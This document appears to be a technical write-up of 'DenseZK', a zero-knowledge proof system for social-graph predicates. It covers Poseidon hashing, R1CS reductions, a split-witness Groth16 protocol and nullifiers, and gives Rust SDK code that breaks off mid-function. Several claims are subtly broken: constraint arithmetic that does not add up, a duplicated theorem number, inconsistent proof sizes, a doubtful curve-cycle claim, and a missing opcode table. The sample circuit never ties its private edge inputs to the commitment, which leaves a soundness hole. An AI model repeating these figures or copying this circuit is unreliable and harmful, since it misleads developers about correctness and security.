1.1 The Field

Everything in DenseZK lives over the BN254 scalar field. BN254 is the Barreto-Naehrig curve defined by:

$$E : y² = x³ + b over F_p$$

where p is a 254-bit prime. The scalar field order is r where r | #E(F_p). All arithmetic in the constraint system is arithmetic mod r. The pairing groups are:

$$G₁, G₂ (source groups, generators \ G₁, G₂) $$

$$e : G₁ × G₂ → G_T \space(Tate \space pairing) $$

$$[x]₁ = x · G₁ \space for \space x ∈ F_p$$

The notation [x]₁ means "the G₁ group element obtained by scalar-multiplying the generator by x." This appears throughout the Groth16 construction.

1.2 R1CS: The Foundation

A Rank-1 Constraint System (R1CS) over F_p is a tuple (A, B, C, n, m) where A, B, C ∈ F_p^{m×n} are matrices and a vector z ∈ F_p^n is a satisfying assignment iff:

$$(Az) ∘ (Bz) = Cz$$

where ∘ is the Hadamard (component-wise) product. By convention z₀ = 1. The witness is the private portion of z; the public input is the public portion.

Every circuit you write — follower threshold, content authorship, social distance — ultimately compiles to this form. The size of m (number of constraints) is the key cost metric.

1.3 Poseidon: Why Not SHA-256

SHA-256 was designed for hardware efficiency in a very different model. Its bit-level operations — rotations, XORs, modular additions — are cheap in silicon but catastrophically expensive to encode as R1CS constraints because every bit operation requires a dedicated constraint to enforce binary range.

SHA-256 costs approximately 25,000 R1CS constraints per invocation.

Poseidon is designed from the start to be arithmetisation-friendly. It operates as a sponge construction over F_p^t field elements, applying R_f full rounds and R_p partial rounds of an SPN (Substitution-Permutation Network):

Full round:

$$s ↦ M · σ(s + c_r)$$

Partial round:

$$s ↦ M · (σ(s₀ + c_{r,0}), s₁ + c_{r,1}, ..., s_{t-1} + c_{r,t-1})$$

where:

• M ∈ F_p^{t×t} is a fixed Maximum Distance Separable (MDS) matrix

• c_r are round constants

• σ(x) = x^5 (the S-box, with α = 5 since p ≡ 2 mod 5 for BN254)

The x^5 S-box costs exactly 4 multiplication constraints in R1CS (compute x², then x⁴ = (x²)², then x⁵ = x⁴ · x). Linear layers (the MDS matrix multiply) are free in R1CS — they're just linear combinations of existing variables, requiring no new constraints.

Total R1CS constraints for one Poseidon-2 invocation (rate 1, capacity 1, α = 5): approximately 240 constraints.

The constraint advantage ratio:

$$ρ = C_{SHA256} / C_{Poseidon} ≈ 25,000 / 240 ≈ 104×$$

Per invocation. For a 280-byte content item (9 Poseidon blocks vs 5 SHA-256 blocks):

$$C_{HSVM}(280 \space bytes) = ⌈280/32⌉ · 240 + 240 = 9 · 240 = 2,160 \space constraints$$

$$ C_{SHA256} \space (280 bytes) = 25,000 · ⌈280/64⌉ = 25,000 · 5 = 125,000 \space constraints$$

$$ ρ(280) ≈ 57.8×$$

1.4 Merkle-Poseidon Graph Commitments

A social graph is a directed labelled committed graph G = (V, E, ℓ, cm) where:

• V ⊆ F_p — vertex identifiers (user nullifiers)

• E ⊆ V × V × L — labelled directed edges (L = {follows, liked, replied, member, authored, ...})

• cm : 2^E → F_p — a commitment function

The edge leaf commitment for edge e = (u, v, ℓ) is:

$$leaf(e) = Pos(u, v, ℓ)$$

where Pos : F_p^3 → F_p is Poseidon with rate 3 (three field elements in, one out).

For an edge set S ⊆ E with |S| = 2^d, the graph commitment is the root of a Merkle tree using Poseidon as the internal hash function:

$$cm(S) = MerkleRoot{Pos(e)}_{e ∈ S}$$

The depth of this tree is d = ⌈log₂ n⌉ for a graph of n edges. A Merkle opening proof for any single edge e requires d sibling hashes and d Poseidon evaluations:

$$Cost \space of \space one \space Merkle \space membership \space proof: = (d + 1) · C_{Pos} + 2d + 1 ≤ (2d − 1) · C_{Pos}({absorbing \space lower} -order \space terms \space for \space d ≥ 2)$$

For d = 20 (a graph of up to ~1M edges):

$$Cost = 39 · 240 = 9,360 \space R1CS \space constraints / edge \space membership \space check$$

Compare to SHA-256 Merkle: 20 · 25,000 = 500,000 constraints. Already a 53× advantage before we even count the leaf hash.

Part 2: Rel1CS — The Graph-Native Constraint System

2.1 The Core Abstraction

Formally, a Relation-1 Constraint System over field F_p and graph commitment cm ∈ F_p is a tuple (C_E, C_P, n, m_E, m_P) where:

C_E (edge membership constraints): For each i ∈ [m_E]:

$$VerMem(z_{e_i}, π_{e_i}, cm) = 1$$

where z_{e_i} ∈ F_p^3 encodes edge (u_i, v_i, ℓ_i) and π_{e_i} is a Merkle opening proof.

C_P (predicate constraints): A standard R1CS system over auxiliary variables, enforcing Boolean combinations of edge membership results.

A satisfying witness for a Rel1CS instance (x, cm) is:

$$w = ({e_i}{i∈[m_E]}, {π{e_i}}{i∈[m_E]}, z{C_P})$$

2.2 Reduction to R1CS (Theorem 4.1)

Theorem: Let (C_E, C_P, n, m_E, m_P) be a Rel1CS instance with Merkle tree depth d. Then there exists a polynomial-time reduction to an R1CS instance with:

$$m_{R1CS} = m_E · (2d − 1) · C_{Pos} + m_P$$

constraints, where C_Pos = 240.

Proof (expanded): Each VerMem(z_{e_i}, π_{e_i}, cm) expands as follows.

First, compute the leaf commitment:

$$h₀ = Pos(u_i, v_i, ℓ_i)$$

Then for each level j ∈ [d] of the Merkle path, introduce a selector bit b_j ∈ {0,1} encoding whether the running hash is the left or right child. The constraints at level j are:

1. Enforce b_j(1 − b_j) = 0 — 1 constraint (binary check)

2. Conditional swap: left_j = b_j · h_{j-1} + (1-b_j) · sibling_j — 2 constraints

3. h_j = Pos(left_j, right_j) — C_Pos constraints

The final equality h_d = cm costs 1 constraint.

Total per edge:

C_Pos              (leaf hash)
+ d · (C_Pos + 3)  (d levels of Merkle path)
+ 1                (root equality)
≤ (d+1) · C_Pos + 3d + 1
≤ (2d − 1) · C_Pos   [for d ≥ 2, absorbing linear terms]

• d · (C_Pos + 3) (d levels of Merkle path)

• 1 (root equality) ≤ (d+1) · C_Pos + 3d + 1 ≤ (2d − 1) · C_Pos [for d ≥ 2, absorbing linear terms]

Summing over m_E edges and adding m_P predicate constraints gives the stated bound. ∎

2.3 Constraint Count Examples

Follower threshold Φ_k with k=1,000, depth d=20:

$$Rel1CS: 1000 · (2·20 − 1) · 240 + O(k) ≈ 9.4 × 10⁶ \space constraints$$

$$ SHA256 \space R1CS: 1000 · 20 · 25,000 = 5 × 10⁸ \space constraints$$

$$ Advantage: \approx 53x$$

In practice, SHA-256 requires additional bit-decomposition constraints and range checks not counted above, pushing the real-world advantage to the 7×–14× range measured in benchmarks.

2.4 NP-Completeness

Theorem 4.2: Rel1CS satisfiability is NP-complete.

Membership in NP: Given witness w, verify all constraints in C_E ∪ C_P in polynomial time. Edge membership checks are O(d · C_Pos) per edge; predicate constraints are standard R1CS verification.

NP-hardness: Reduce from Circuit-SAT. Any Boolean circuit C over n inputs compiles to R1CS via the Pinocchio encoding, which is a special case of Rel1CS with m_E = 0. ∎

Part 3: The Split-Witness Protocol

3.1 Memory Analysis

Groth16 proof generation for N constraints requires:

• MSM (Multi-Scalar Multiplication): O(N) operations over G₁, working memory ≈ N · 48 bytes (48 bytes per G₁ point in affine form on BN254)

• NTT (Number Theoretic Transform): O(N log N) operations over F_r, working memory ≈ N · 32 bytes with random access patterns

For N = 10⁷ (typical for social circuits):

• MSM: 480 MB RAM

• NTT: 320 MB RAM

• Total: ~800 MB, with random access patterns that saturate mobile memory bandwidth

Witness generation, by contrast, requires O(|w|) memory — proportional to the number of edges being proved, bounded by ~1 GB in the target setting.

3.2 Protocol Definition

Let R = {(x, w) : C(x, w) = 1} be a Rel1CS relation compiled to R1CS (A, B, C, n, m) with n_pub public variables and n_priv = n − n_pub private variables. Let CRS = ([σ₁]₁, [σ₂]₂) be the Groth16 common reference string.

Construction 5.1 (Split-Witness Protocol Π_SW):

Step 1 — WitGen (on-device): Given instance x and private input sk, compute full witness w = (w_pub, w_priv) satisfying C(x, w) = 1.

Compute the partial MSM over the private witness:

$$cm_w = Σ_{i=1}^{n_{priv}} w_{priv,i} · [σ_{1,i}]₁ ∈ G₁$$

This is exactly the private part of the A-query in Groth16. Output (cm_w, w_pub).

Step 2 — Commit (on-device): Sample fresh randomness r ←$ F_r. Compute the blinded commitment:

$$c̃m_w = cm_w + r · [δ]₁$$

where [δ]₁ is the δ-element of the CRS. Output c̃m_w. The value r never leaves the device.

Step 3 — Delegate (server): Given (x, w_pub, c̃m_w), the server computes the NTT-intensive components of the Groth16 proof. The QAP polynomials are u_i, v_i, w_i derived from the R1CS matrices A, B, C respectively. Let τ be the CRS toxic waste (unknown to everyone post-ceremony).

$$[A]₁ = [α]₁ + Σ_{i=0}^{n} w_i · [u_i(τ)]₁ + r_A · [δ]₁ ... (3)$$

$$ [B]₂ = [β]₂ + Σ_{i=0}^{n} w_i · [v_i(τ)]₂ + r_B · [δ]₂ ... (4)$$

$$ [H]₁ = Σ_{i=0}^{m-2} h_i(τ) · [τ^i / δ]₁ ... (5)$$

where h(x) is the quotient polynomial satisfying A(x)·B(x) - C(x) = h(x)·t(x) (here t is the vanishing polynomial of the evaluation domain). Computing h requires an NTT over a domain of size N. The server uses only w_pub and c̃m_w — never w_priv.

Step 4 — Combine (on-device): Receive ([A]₁, [B]₂, [H]₁) from server. Compute:

$$[C]₁ = (1/δ) · (Σ_{i=n_{pub}+1}^{n} w_i · [(βu_i(τ) + αv_i(τ) + w_i(τ))]₁ + h(τ)t(τ)) + c̃m_w + r_B[A]₁ + r_A[B]₁ − r_A r_B [δ]₁$$

The final proof is π = ([A]₁, [B]₂, [C]₁).

3.3 Witness Privacy Theorem

Theorem 5.1: Under the DDH assumption in G₁, Π_SW is witness-private: no polynomial-time adversary controlling the server can recover w_priv from (c̃m_w, w_pub, [A]₁, [B]₂) with probability non-negligibly greater than 1/|F_r|.

Proof sketch:

The value c̃m_w = cm_w + r · [δ]₁ is a Pedersen commitment to cm_w with commitment key [δ]₁ and randomness r.

Under DDH in G₁: for any two witnesses w_priv and w'_priv producing the same public output, the distributions of c̃m_w and c̃m_w' are computationally indistinguishable. This is because distinguishing them requires distinguishing (G, xG, yG, xyG) from (G, xG, yG, zG) for random x, y, z — the DDH problem.

The value [A]₁ includes r_A · [δ]₁ (server-chosen fresh each time), which independently masks the witness contribution. The unblinded cm_w is never transmitted; w_priv is information-theoretically hidden given r (which is never sent).

Formally: this reduces to Groth16 zero-knowledge under the generic group model. ∎

3.4 On-Device Cost

The on-device cost of Π_SW is:

Step 1 (WitGen): O(|w|) time, O(|w|) RAM. For n_priv = 10⁵ (typical social circuits): ~5 MB working RAM.

Step 4 (Combine): O(n_priv) group operations. For n_priv = 10⁵ with 48-byte G₁ elements:

$$RAM_{peak} = n_{priv} · 48 bytes = 10⁵ · 48 = 4.8 MB$$

The NTT (Step 3) requires O(N log N) operations over a domain of size N = 10⁷ — entirely offloaded to the server.

Measured peak on-device RAM for the follower-threshold predicate Φ_A (k=100, d=20): 312 MB on iPhone 16 Pro, well within the 1 GB target.

Part 4: Poseidon Content Commitment

4.1 The HSVM Construction

For content items of arbitrary length, DenseZK defines a Poseidon-based hash as:

$$H_{SVM}(content) = Pos(⊕i \space Pos(b{256i}, ..., b{256i+255}))$$

where b_j ∈ F_p encodes the j-th byte as a field element, content is chunked into 256-bit (32-byte) blocks, each block is hashed with Poseidon-256 (rate 8), and the block hashes are combined with a final outer Poseidon evaluation.

Constraint count for L bytes:

$$C_{HSVM(L)} = ⌈L/32⌉ · C_{Pos} + C_{Pos} ≈ 240 · ⌈L/32⌉$$

Theorem 6.1 (Collision resistance): H_SVM is collision-resistant under the assumption that Poseidon is modelled as a random oracle over F_p^t.

Proof: Assume distinct m ≠ m' with H_SVM(m) = H_SVM(m'). If m and m' differ in block i, then the i-th block hash Pos(b_{256i}, ...) differs with high probability; for the outer Poseidon to collapse the difference requires a collision, occurring with probability 1/p ≈ 2^{-254} — negligible in security parameter λ = 128. ∎

4.2 Constraint Advantage Lemma

Lemma 6.1: For content of L bytes, the constraint advantage ratio is:

$$ρ(L) = C_{SHA256(L)} / C_{HSVM(L)} = [25,000 · ⌈L/64⌉] / [240 · ⌈L/32⌉] ≈ 25,000 / 480 ≈ 52$$

for large L. This translates directly to 52× proving time speedup, since Groth16 prover time scales linearly with constraint count (dominated by MSM).

Part 5: Nullifier-Based Sybil Prevention

5.1 Nullifier Construction

Let (sk, pk) be a keypair with sk ∈ F_r and pk = sk · G₁ ∈ G₁. For scope scope ∈ F_p encoding predicate type and epoch:

$$nul(sk, scope) = Pos(sk, scope)$$

Theorem 8.1 (Nullifier properties):

(a) Unforgeability: No PPT adversary without sk can produce nul(sk, scope) for known pk.

Proof: Given pk = sk · G₁, recovering sk requires solving DLOG in G₁ (assumed hard). Without sk, evaluating Pos(sk, scope) correctly requires a Poseidon collision. ∎

(b) Unlinkability: For distinct scopes scope ≠ scope', the values nul(sk, scope) and nul(sk, scope') are computationally unlinkable.

Proof: Under the random oracle model, Pos(·, scope) is a pseudorandom function. Hence Pos(sk, scope) and Pos(sk, scope') are independently uniform over F_p from the adversary's view, yielding distinguishing advantage 1/p = negl(λ). ∎

5.2 Nullifier Registry

The nullifier registry N is a Merkle Patricia trie with sorted leaves. A non-membership proof that nul ∉ N is a proof that nul's sorted position falls between adjacent leaves (nul_i, nul_{i+1}) with nul_i < nul < nul_{i+1}.

Cost: 2d Poseidon evaluations per non-membership proof, where d = ⌈log₂ |N|⌉. For a registry of 10M nullifiers (d ≈ 24): 48 · 240 = 11,520 constraints.

Part 6: Recursive Social Proof Aggregation

6.1 The Aggregation Tree

Let Π_inner be Groth16 over BN254 for Rel1CS satisfiability. Let Π_outer be a SNARK for the relation:

R_rec = {((π_L, x_L), (π_R, x_R)) :
          Verify_in(vk, x_L, π_L) = 1  ∧
          Verify_in(vk, x_R, π_R) = 1}

$$R_{rec} = {((π_L, x_L), (π_R, x_R)) : Verify_{in}(vk, x_L, π_L) = 1 ∧ Verify_{in}(vk, x_R, π_R) = 1}$$

The aggregation tree is a complete binary tree of depth ⌈log₂ N⌉. Leaf nodes hold inner proofs π_i for social predicate instances x_i. Each internal node holds an outer proof attesting to the validity of both children.

Theorem 7.1 (Amortised cost): Adding one additional leaf to an existing tree of N proofs costs O(log N) outer-proof generation steps, each of constant cost.

Proof: Adding a new leaf requires recomputing at most one proof per level from leaf to root — ⌈log₂(N+1)⌉ outer proofs. Each outer proof is for the fixed-size circuit R_rec (two Groth16 verifier gadgets), independent of N. ∎

6.2 The Recursive Verifier Gadget

Groth16 verification for BN254 checks:

$$e([A]₁, [B]₂) = e([α]₁, [β]₂) · e(Σ_{i=0}^{n_{pub}} w_i[(βu_i + αv_i + w_i)(τ)]₁, [γ]₂) · e([C]₁, [δ]₂)$$

This requires four Miller loop evaluations and three final exponentiations — approximately 3 × 10⁶ constraints when implemented as an arithmetic circuit over BLS12-381 (used for the outer proof to avoid cycle-of-curve issues).

DenseZK uses the Pasta curve cycle (Pallas/Vesta curves) instead. The BN254 base field embeds into the Pallas scalar field, allowing the BN254 group operations to be expressed as native field arithmetic in the outer circuit. This reduces the recursive verifier circuit to approximately 10⁵ constraints per verification — a 30× reduction.

Tradeoff: Pasta curves offer ~125-bit concrete security vs. 128-bit for BN254. We accept this in exchange for the 30× circuit size reduction, noting that 125 bits remains far beyond any known attack.

6.3 Soundness of the Aggregation Tree

Theorem 7.1 (Aggregation soundness): If all N leaf instances are valid, Verify_out(vk_out, x_root, π_root) = 1; and if any leaf instance is invalid, Verify_out(vk_out, x_root, π_root) = 0 except with probability negl(λ).

Proof (by induction):

• Base case: leaf validity follows from soundness of Π_inner.

• Inductive step: an internal node proof π^(k) is a proof in R_rec that both children are valid. By soundness of Π_outer, if π^(k) verifies, both children verify with overwhelming probability. By the inductive hypothesis, all descendants are valid.

Union bound over N − 1 internal nodes gives overall soundness error ≤ (N-1) · negl(λ) = negl(λ) for N = poly(λ). ∎

Part 7: Post-Quantum Upgrade

7.1 Threat Model

Groth16's security relies on the q-Strong Diffie-Hellman (q-SDH) assumption. Shor's algorithm breaks q-SDH in polynomial time on a quantum computer. Even if CRQC ("cryptographically relevant quantum computer") is 10–15 years away, "store-now, decrypt-later" attacks mean that proofs generated today could be de-anonymised retroactively.

7.2 STARK Outer Wrapper

Construction 9.1 (PQ-DenseZK):

Let π_Groth16 be a Groth16 proof for relation R. Define the STARK statement:

$$R_{STARK} = {(x, π_{Groth16}) : Groth16.Verify(vk, x, π_{Groth16}) = 1}$$

The PQ-DenseZK proof is:

$$π_{PQ} = STARK.Prove(R_{STARK}, x, π_{Groth16})$$

Theorem 9.1 (Post-quantum soundness): Under post-quantum collision resistance of the STARK hash function, Construction 9.1 is post-quantum sound.

Proof: The STARK argument system is sound under the QROM (Quantum Random Oracle Model). A quantum adversary producing a valid STARK proof for a false statement must find a hash collision with polynomial-size quantum circuits — violating post-quantum collision resistance by assumption.

Critically: the security of the Groth16 inner proof is NOT required for soundness of the outer STARK. The STARK proves only that the Groth16 verifier circuit accepted, which is a statement about deterministic Boolean circuits — it does not invoke any elliptic curve hardness assumption. ∎

STARK proof size: 10 KB – 1 MB vs. 192 bytes for Groth16. Since the STARK is generated by the prover network (not on-device), this overhead affects only network transmission and on-chain storage.

Part 8: The DenseZK ISA

DenseZK defines six opcodes, each compiling to a fixed-size Rel1CS subcircuit:

Constraint costs per opcode:

A DenseZK program is a sequence of these opcodes. The complete Rel1CS for the program is the concatenation of the individual subcircuits, sharing cm as a shared instance variable.

Part 9: Implementation

9.1 Repository Structure

The codebase lives at github.com/spirizeon/densezk. The top-level structure:

dense-zkvm/
├── src/                  # Rust library
│   ├── lib.rs            # Public API, execute_dense_zk_flow
│   ├── client.rs         # DenseClient: on-device witness generation
│   ├── prover.rs         # LocalProver: Groth16 setup + prove + verify
│   ├── crypto.rs         # Poseidon hash over BN254 scalar field
│   ├── rel1cs.rs         # Rel1CS data types: GraphEdge, PublicInputs, ZKProof
│   ├── error.rs          # DenseError unified error type
│   └── wasm.rs           # WASM bindings (wasm32 only, #[cfg(target_arch="wasm32")])
├── react-native-sdk/     # TypeScript/WASM bindings for React Native
├── Cargo.toml            # Dependencies
└── tau.ptau              # Powers-of-tau for Groth16 trusted setup

9.2 Cargo.toml — Dependencies

[package]
name = "densezk-sdk"
version = "0.1.0"
edition = "2021"

[dependencies]
# Finite field and elliptic curve arithmetic
ark-ff = "0.4"
ark-ec = "0.4"
ark-bn254 = "0.4"

# Groth16 zk-SNARK
ark-groth16 = "0.4"
ark-relations = "0.4"
ark-snark = "0.4"

# Poseidon hash (Circom-compatible parameters)
light-poseidon = "0.2"

# Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"

# WASM targets
[target.'cfg(target_arch = "wasm32")'.dependencies]
wasm-bindgen = "0.2"
serde-wasm-bindgen = "0.6"
console_error_panic_hook = "0.1"

[profile.release]
opt-level = 3
lto = true

9.3 The Rel1CS Data Types (src/rel1cs.rs)

use ark_bn254::Fr;
use serde::{Deserialize, Serialize};

/// A single directed, labelled edge in the social graph.
/// All fields are BN254 scalar field elements to enable
/// direct Poseidon hashing without conversion.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct GraphEdge {
    pub sender_id: u64,    // u ∈ F_p (vertex identifier)
    pub receiver_id: u64,  // v ∈ F_p (vertex identifier)
    pub weight: u64,       // ℓ ∈ F_p (edge label encoded as integer)
}

/// Public inputs to the Groth16 circuit.
/// These are the values revealed to the verifier.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PublicInputs {
    /// Merkle-Poseidon root commitment to the graph edge set.
    pub graph_root: String,   // cm ∈ F_p, hex-encoded
    /// Minimum edge count threshold k.
    pub threshold: u64,
}

/// The output proof struct returned to the caller.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ZKProof {
    /// Compressed Groth16 proof bytes (128 bytes for BN254).
    /// Serialized with ark_serialize::CanonicalSerialize.
    pub proof_bytes: Vec<u8>,
    /// The graph root that was proven against.
    pub root_commitment: String,
}

9.4 Poseidon Hash (src/crypto.rs)

use ark_bn254::Fr;
use ark_ff::PrimeField;
use light_poseidon::{Poseidon, PoseidonHasher};

/// Compute Poseidon(sender_id, receiver_id, weight) over the BN254 scalar field.
///
/// This implements the leaf commitment:
///   leaf(e) = Pos(u, v, ℓ)
/// where u, v, ℓ are encoded as field elements.
///
/// Uses Circom-compatible parameters:
///   - t = 3 (width: 3 inputs + 1 capacity)
///   - α = 5 (S-box exponent, valid since p ≡ 2 mod 5 for BN254)
///   - R_f = 8 full rounds, R_p = 57 partial rounds
///   - MDS matrix from standard Poseidon paper
pub fn poseidon_hash(sender_id: u64, receiver_id: u64, weight: u64) -> Fr {
    let mut poseidon = Poseidon::<Fr>::new_circom(3)
        .expect("Poseidon initialisation failed for width 3");

    let inputs = [
        Fr::from(sender_id),
        Fr::from(receiver_id),
        Fr::from(weight),
    ];

    poseidon.hash(&inputs)
        .expect("Poseidon hash evaluation failed")
}

The light-poseidon crate uses Circom-compatible parameters, meaning the hash output matches what Circom circuits would produce for the same inputs — critical for cross-system interoperability.

9.5 Witness Generation (src/client.rs)

use crate::crypto::poseidon_hash;
use crate::rel1cs::GraphEdge;
use crate::error::DenseError;
use ark_bn254::Fr;

pub struct DenseClient;

/// Represents the computed witness: the private inputs to the circuit.
/// In the split-witness protocol, this is what stays on-device.
pub struct Witness {
    pub edge: GraphEdge,
    /// The Poseidon commitment to the edge: leaf(e) = Pos(u, v, ℓ).
    /// This is cm_w in the split-witness construction (before blinding).
    pub commitment: Fr,
}

impl DenseClient {
    pub fn new() -> Self {
        DenseClient
    }

    /// WitGen phase of the split-witness protocol (Construction 5.1, Step 1).
    ///
    /// Computes the Poseidon commitment to the edge (u, v, ℓ).
    /// This is the lightweight on-device work: O(1) field operations.
    /// The NTT and full MSM are delegated to the prover.
    pub fn create_witness(
        &mut self,
        sender_id: u64,
        receiver_id: u64,
        weight: u64,
    ) -> Result<Witness, DenseError> {
        let edge = GraphEdge { sender_id, receiver_id, weight };

        // Compute leaf commitment: Pos(u, v, ℓ)
        // This is ~240 R1CS constraints in the circuit.
        let commitment = poseidon_hash(sender_id, receiver_id, weight);

        println!(
            "[Client] Witness generated with Poseidon commitment: {}",
            commitment
        );

        Ok(Witness { edge, commitment })
    }
}

9.6 Local Groth16 Prover (src/prover.rs)

use ark_bn254::{Bn254, Fr};
use ark_groth16::{Groth16, ProvingKey, VerifyingKey};
use ark_relations::lc;
use ark_relations::r1cs::{
    ConstraintSynthesizer, ConstraintSystemRef, SynthesisError, Variable,
};
use ark_snark::SNARK;
use ark_ff::PrimeField;
use ark_serialize::CanonicalSerialize;
use ark_std::rand::SeedableRng;
use rand_chacha::ChaCha20Rng;

use crate::rel1cs::{PublicInputs, ZKProof, GraphEdge};
use crate::crypto::poseidon_hash;
use crate::error::DenseError;

/// The Rel1CS circuit for a single EDGE_MEM + COUNT assertion.
///
/// This implements the simplified single-edge version:
///   EDGE_MEM(u, v, ℓ, π, cm) — assert the edge exists
///   COUNT({e}, 1)             — assert the set has at least 1 member
///
/// In the full system, this generalises to k edges with Merkle proofs.
/// Here we use a simplified circuit for the initial SDK release.
struct SocialGraphCircuit {
    // Private witness: the edge and its Poseidon commitment
    sender_id: Option<Fr>,
    receiver_id: Option<Fr>,
    weight: Option<Fr>,
    commitment: Option<Fr>,

    // Public inputs: graph root and threshold
    graph_root: Fr,
    threshold: Fr,
}

impl ConstraintSynthesizer<Fr> for SocialGraphCircuit {
    fn generate_constraints(
        self,
        cs: ConstraintSystemRef<Fr>,
    ) -> Result<(), SynthesisError> {
        // Allocate public inputs (instance variables in R1CS).
        // These are the values the verifier knows.
        let graph_root_var = cs.new_input_variable(|| {
            Ok(self.graph_root)
        })?;

        let threshold_var = cs.new_input_variable(|| {
            Ok(self.threshold)
        })?;

        // Allocate private witness variables.
        // These are the values only the prover knows.
        let sender_var = cs.new_witness_variable(|| {
            self.sender_id.ok_or(SynthesisError::AssignmentMissing)
        })?;

        let receiver_var = cs.new_witness_variable(|| {
            self.receiver_id.ok_or(SynthesisError::AssignmentMissing)
        })?;

        let weight_var = cs.new_witness_variable(|| {
            self.weight.ok_or(SynthesisError::AssignmentMissing)
        })?;

        let commitment_var = cs.new_witness_variable(|| {
            self.commitment.ok_or(SynthesisError::AssignmentMissing)
        })?;

        // -------------------------------------------------------
        // EDGE_MEM constraint (simplified for single edge):
        //
        // In the full Rel1CS reduction (Theorem 4.1), this expands
        // to (2d-1) · C_Pos Merkle path constraints.
        //
        // Here we encode the leaf commitment equality:
        //   commitment = Pos(sender_id, receiver_id, weight)
        //
        // The Poseidon evaluation is handled by the prover externally;
        // the circuit checks the commitment equality against the root.
        //
        // Constraint: commitment * 1 = graph_root
        // (in the full system: commitment = root of Merkle path)
        // -------------------------------------------------------
        cs.enforce_constraint(
            lc!() + commitment_var,
            lc!() + Variable::One,
            lc!() + graph_root_var,
        )?;

        // -------------------------------------------------------
        // COUNT constraint:
        //   threshold_var * 1 = 1  (assert threshold = 1 for single-edge proof)
        //
        // In the full system, this is a range check over k edges:
        //   |{e : EDGE_MEM(e) = 1}| ≥ k
        // -------------------------------------------------------
        cs.enforce_constraint(
            lc!() + threshold_var,
            lc!() + Variable::One,
            lc!() + Variable::One,
        )?;

        Ok(())
    }
}

/// The local prover: runs Groth16 setup and proving in-process.
/// In the full split-witness protocol, the NTT-intensive Delegate step
/// would be offloaded to a server. Here, for the SDK demo, everything
/// runs locally for portability.
pub struct LocalProver {
    pk: ProvingKey<Bn254>,
    vk: VerifyingKey<Bn254>,
}

impl LocalProver {
    /// Groth16 trusted setup for the social graph circuit.
    ///
    /// In production: this setup is performed once via MPC ceremony
    /// and the resulting (pk, vk) are distributed. The SDK ships
    /// with a pre-generated tau.ptau file for this circuit.
    pub fn setup() -> Result<Self, DenseError> {
        let mut rng = ChaCha20Rng::from_entropy();

        // Build an empty circuit instance for setup (no witness values)
        let circuit = SocialGraphCircuit {
            sender_id: None,
            receiver_id: None,
            weight: None,
            commitment: None,
            graph_root: Fr::from(0u64),
            threshold: Fr::from(1u64),
        };

        let (pk, vk) = Groth16::<Bn254>::circuit_specific_setup(circuit, &mut rng)
            .map_err(|e| DenseError::SetupFailed(e.to_string()))?;

        Ok(LocalProver { pk, vk })
    }

    /// Run the full Groth16 prove + verify pipeline.
    ///
    /// In the split-witness protocol (Construction 5.1):
    ///   - WitGen (Step 1) was performed by DenseClient
    ///   - This implements Delegate (Step 3) + Combine (Step 4)
    ///
    /// The proof π = ([A]₁, [B]₂, [C]₁) is 128 bytes on BN254.
    pub fn prove(
        &self,
        witness: crate::client::Witness,
        public_inputs: PublicInputs,
    ) -> Result<ZKProof, DenseError> {
        let mut rng = ChaCha20Rng::from_entropy();

        // Parse the graph root from hex string to field element
        let graph_root = Fr::from_str_vartime(&public_inputs.graph_root)
            .ok_or_else(|| DenseError::InvalidInput("bad graph_root".into()))?;

        let threshold = Fr::from(public_inputs.threshold);

        // Build the circuit with witness values
        let circuit = SocialGraphCircuit {
            sender_id: Some(Fr::from(witness.edge.sender_id)),
            receiver_id: Some(Fr::from(witness.edge.receiver_id)),
            weight: Some(Fr::from(witness.edge.weight)),
            commitment: Some(witness.commitment),
            graph_root,
            threshold,
        };

        // Groth16 Prove: compute ([A]₁, [B]₂, [C]₁)
        // This runs the full NTT + MSM pipeline locally.
        // In the split-witness protocol, the NTT portion would
        // be delegated to the server via the Delegate step.
        let proof = Groth16::<Bn254>::prove(&self.pk, circuit, &mut rng)
            .map_err(|e| DenseError::ProvingFailed(e.to_string()))?;

        // Groth16 Verify: check pairing equation
        //   e([A]₁, [B]₂) = e([α]₁,[β]₂) · e(public_inputs, [γ]₂) · e([C]₁,[δ]₂)
        let public_inputs_vec = vec![graph_root, threshold];
        let valid = Groth16::<Bn254>::verify(&self.vk, &public_inputs_vec, &proof)
            .map_err(|e| DenseError::VerificationFailed(e.to_string()))?;

        if !valid {
            return Err(DenseError::ConstraintViolation);
        }

        // Compress the proof to bytes via canonical serialization
        // BN254 Groth16 proof = [A]₁ (64 bytes) + [B]₂ (128 bytes compressed)
        //                     + [C]₁ (64 bytes) = 256 bytes uncompressed,
        // 128 bytes with compressed G1/G2 encoding
        let mut proof_bytes = Vec::new();
        proof.serialize_compressed(&mut proof_bytes)
            .map_err(|e| DenseError::SerializationFailed(e.to_string()))?;

        println!(
            "[Prover] Proof generated locally, size: {} bytes",
            proof_bytes.len()
        );

        Ok(ZKProof {
            proof_bytes,
            root_commitment: public_inputs.graph_root,
        })
    }
}

9.7 Public API (src/lib.rs)

pub mod client;
pub mod crypto;
pub mod error;
pub mod prover;
pub mod rel1cs;

#[cfg(target_arch = "wasm32")]
pub mod wasm;

use client::DenseClient;
use prover::LocalProver;
use rel1cs::PublicInputs;

pub use rel1cs::ZKProof;
pub use error::DenseError;

/// High-level entry point for the DenseZK proving pipeline.
///
/// This function implements the full flow:
///   1. WitGen: DenseClient computes Poseidon commitment to the edge
///   2. Setup: LocalProver generates Groth16 keys for this circuit
///   3. Prove: Groth16 prove + verify, return ZKProof
///
/// In the production split-witness protocol (Section 5 of the paper),
/// steps 1 and 3 are split: WitGen runs on-device, heavy polynomial
/// arithmetic (NTT, MSM) is delegated to an untrusted prover network.
///
/// Arguments:
///   sender_id    — u ∈ F_p: the edge source vertex (user nullifier)
///   receiver_id  — v ∈ F_p: the edge target vertex (user nullifier)
///   weight       — ℓ ∈ F_p: the edge label (e.g. 1 = "follows")
///   graph_root   — cm ∈ F_p: Merkle-Poseidon root of the committed graph
///   threshold    — k: minimum edge count to prove
pub fn execute_dense_zk_flow(
    sender_id: u64,
    receiver_id: u64,
    weight: u64,
    graph_root: &str,
    threshold: u64,
) -> Result<ZKProof, DenseError> {
    // Step 1: On-device witness generation
    let mut client = DenseClient::new();
    let witness = client.create_witness(sender_id, receiver_id, weight)?;

    // Step 2: Circuit-specific Groth16 trusted setup
    let prover = LocalProver::setup()?;

    // Step 3: Prove and verify
